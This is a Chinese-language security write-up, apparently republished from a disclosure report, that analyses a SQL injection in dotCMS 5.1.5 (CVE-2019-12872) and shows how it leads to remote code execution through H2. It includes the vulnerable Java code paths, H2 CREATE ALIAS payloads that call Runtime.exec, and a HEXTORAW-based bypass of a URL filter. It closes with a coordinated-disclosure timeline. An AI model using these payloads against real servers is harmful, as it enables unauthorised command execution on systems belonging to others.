dotCMS 5.1.5:利用H2 SQL注入实现RCE

栏目: 数据库 · 发布时间: 5年前

内容简介:在本文中,我们利用由RIPS代码分析系统发现的一个SQL注入漏洞(未授权攻击者可以通过CSRF或者以

dotCMS 5.1.5:利用H2  <a href='https://www.codercto.com/topics/18630.html'>SQL</a> 注入实现RCE

0x00 前言

在本文中,我们利用由RIPS代码分析系统发现的一个SQL注入漏洞( CVE-2019-12872 ),在基于 java 的内容管理系统dotCMS上实现了远程代码执行。

未授权攻击者可以通过CSRF或者以 Publisher 角色来利用这个SQL注入漏洞。攻击者可以执行堆叠SQL查询(stacked queries),这意味着当目标服务使用的是H2数据库时,攻击者有可能篡改任意数据库条目,甚至执行 shell 命令。

0x01 漏洞分析

dotCMS有个 Push Publishing 功能,该功能可以将内容从一个服务器远程发布到另一个服务器,比如从测试环境发布到生产环境。此外,用户可以将多个内容集合到一个bundle(捆绑包)中,然后直接推送这个bundle,不用单独推送每个内容。攻击者可以利用这个功能,将一个bundle推送到发布队列中,并且注入SQL语句。详细信息请参考RIPS的 扫描报告

我们可以通过 view_unpushed_bundles.jsp 文件来查看尚未推送的bundle。攻击者的入口点可以参考如下代码片段,其中系统会调用存在漏洞的 deleteEndPointById() 函数。漏洞利用前提是未发布的bundle需要位于待发布队列中,否则整个执行流程将不会触及第7行代码。然而作为内容发布者,我们可以简单将bundle推送到队列中。系统会在代码第6行,通过HTTP GET或者POST参数 delEp 接收未过滤的用户输入数据,然后将其以参数 id 传递给 deleteEndPointById() 函数。

代码源文件: html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp

...
<%
    for(Bundle bundle : bundles){
          hasBundles=true;
      if(null!=request.getParameter("delEp")){
       String id = request.getParameter("delEp");
       pepAPI.deleteEndPointById(id);
      }
    ...
    }
%>
...

deleteEndPointById() 函数随后会调用 completeDiscardConflicts() ,后者依然会通过参数 id 来传递未过滤的用户输入数据。

com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl

public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {

    public void deleteEndPointById(String id) throws DotDataException {
        ...
        integrityUtil.completeDiscardConflicts(id);
        ...
    }
    ...
}

进一步跟踪后,我们可以找到 discardConflicts() 函数(如下所示),其中在第5行,用户输入会通过 endpointId 参数拼接到 DELETE 查询语句中。这里没有任何输入过滤机制,也没有预置的安全语句,攻击者可以将任意SQL语法注入已有的SQL查询语句中。

com.dotcms.integritycheckers.AbstractIntegrityChecker

private void discardConflicts(final String endpointId, IntegrityType type)
     throws DotDataException {
   ...
   dc.executeStatement("delete from " + resultsTableName + " where endpoint_id = '"
       + endpointId + "'");
   }

DotConnect 类的 executeStatement() 函数代码如下所示,其中代码会使用 java.sql.Statement.execute 来执行被攻击者污染的 sql 字符串。有趣的是,该函数支持堆叠查询,这意味着我们可以连续执行任意SQL命令。不幸的是,我们不能直接接收执行命令的输出结果。然而,我们可以通过盲注方式(基于时间或者基于错误的方式),或者通过操控任意数据库条目来读取数据库内容。

com.dotmarketing.common.db.DotConnect

public class DotConnect {

    public boolean executeStatement(String sql) throws SQLException {
        boolean ret = stmt.execute(sql);
    }
}

系统并没有使用CSRF令牌来保护可以触发SQL注入的源头JSP文件。因此,如果未经授权的攻击者成功诱骗内容发布者访问攻击者控制的网站,那么就能利用这个SQL注入漏洞。

0x02 利用H2 SQL注入漏洞

默认情况下,DotCMS会捆绑H2数据库。经过一番研究后,我们发现H2允许用户定义 函数别名 ,因此可以执行Java代码。简单的查询语句如下所示,该语句可以创建名为 REVERSE 的函数别名,其中包含我们构造的Java代码payload。然后我们可以使用 CALL 语句调用这个别名,执行我们的Java payload。

CREATE ALIAS REVERSE AS 
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');

为了实现远程代码执行(RCE),攻击者可以通过 java.lang.Runtime.exec() 来执行系统命令。

CREATE ALIAS EXEC AS 
$$ void e(String cmd) throws java.io.IOException 
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');

然而这里我们还面临最后一个挑战。dotCMS中有一个URL过滤器,不允许我们在URL中使用花括号( {} 或者经过URL编码后的 %7b%7d )。由于 CREATE ALIAS 指令可以使用字符串( String )作为源代码,因此我们可以成功绕过这个限制。这意味着我们不需要使用 $ 符号,可以使用内置的SQL函数来编码我们的payload。

CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');

0x03 时间线

日期 进度
2019/05/27 通过 security@dotcms.com 向dotCMS反馈漏洞细节
2019/06/06 厂商确认漏洞存在,准备在5.1.6中解决这个 问题
2019/06/06 厂商发布5.1.6版

0x04 总结

在本文中,我们分析了dotCMS 5.1.5中的一个嵌套型SQL注入漏洞,该漏洞可以通过JSP文件触发。攻击者需要具备 Publisher 权限来创建未推送的bundle,然后就能注入任意SQL命令。我们发现如果dotCMS实例依赖于H2数据库,那么攻击者可以利用这个漏洞实现远程代码执行。然而,如果使用的是其他数据库,那么攻击者还是有可能实现远程代码执行,因为攻击者可以创建一个新的管理员用户,或者覆盖数据库中的序列化对象,这样在反序列化时就有可能执行代码。这里我们要感谢dotCMS安全团队,他们的沟通方式非常专业,解决问题也非常高效。

0x05 参考资料


以上所述就是小编给大家介绍的《dotCMS 5.1.5:利用H2 SQL注入实现RCE》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Fortran 95/2003程序设计

Fortran 95/2003程序设计

中国电力出版社 / 2009-8 / 88.00元

Fortran是计算世界最早出现的高级程序设计语言之一,随着面向对象编程时代的到来,Fortran语言不仅保持了发展的步伐,而且继续在科学计算方面领先。《Fortran95/2003程序设计(第3版)》在第2~7章介绍了Fortan语言基础知识,为初学者提供入门学习资料;在第8~15章介绍了Fortran语言高级特性,为深入用好Fortran语言提供支持;在第16章讲述了Fortran语言面向对象......一起来看看 《Fortran 95/2003程序设计》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码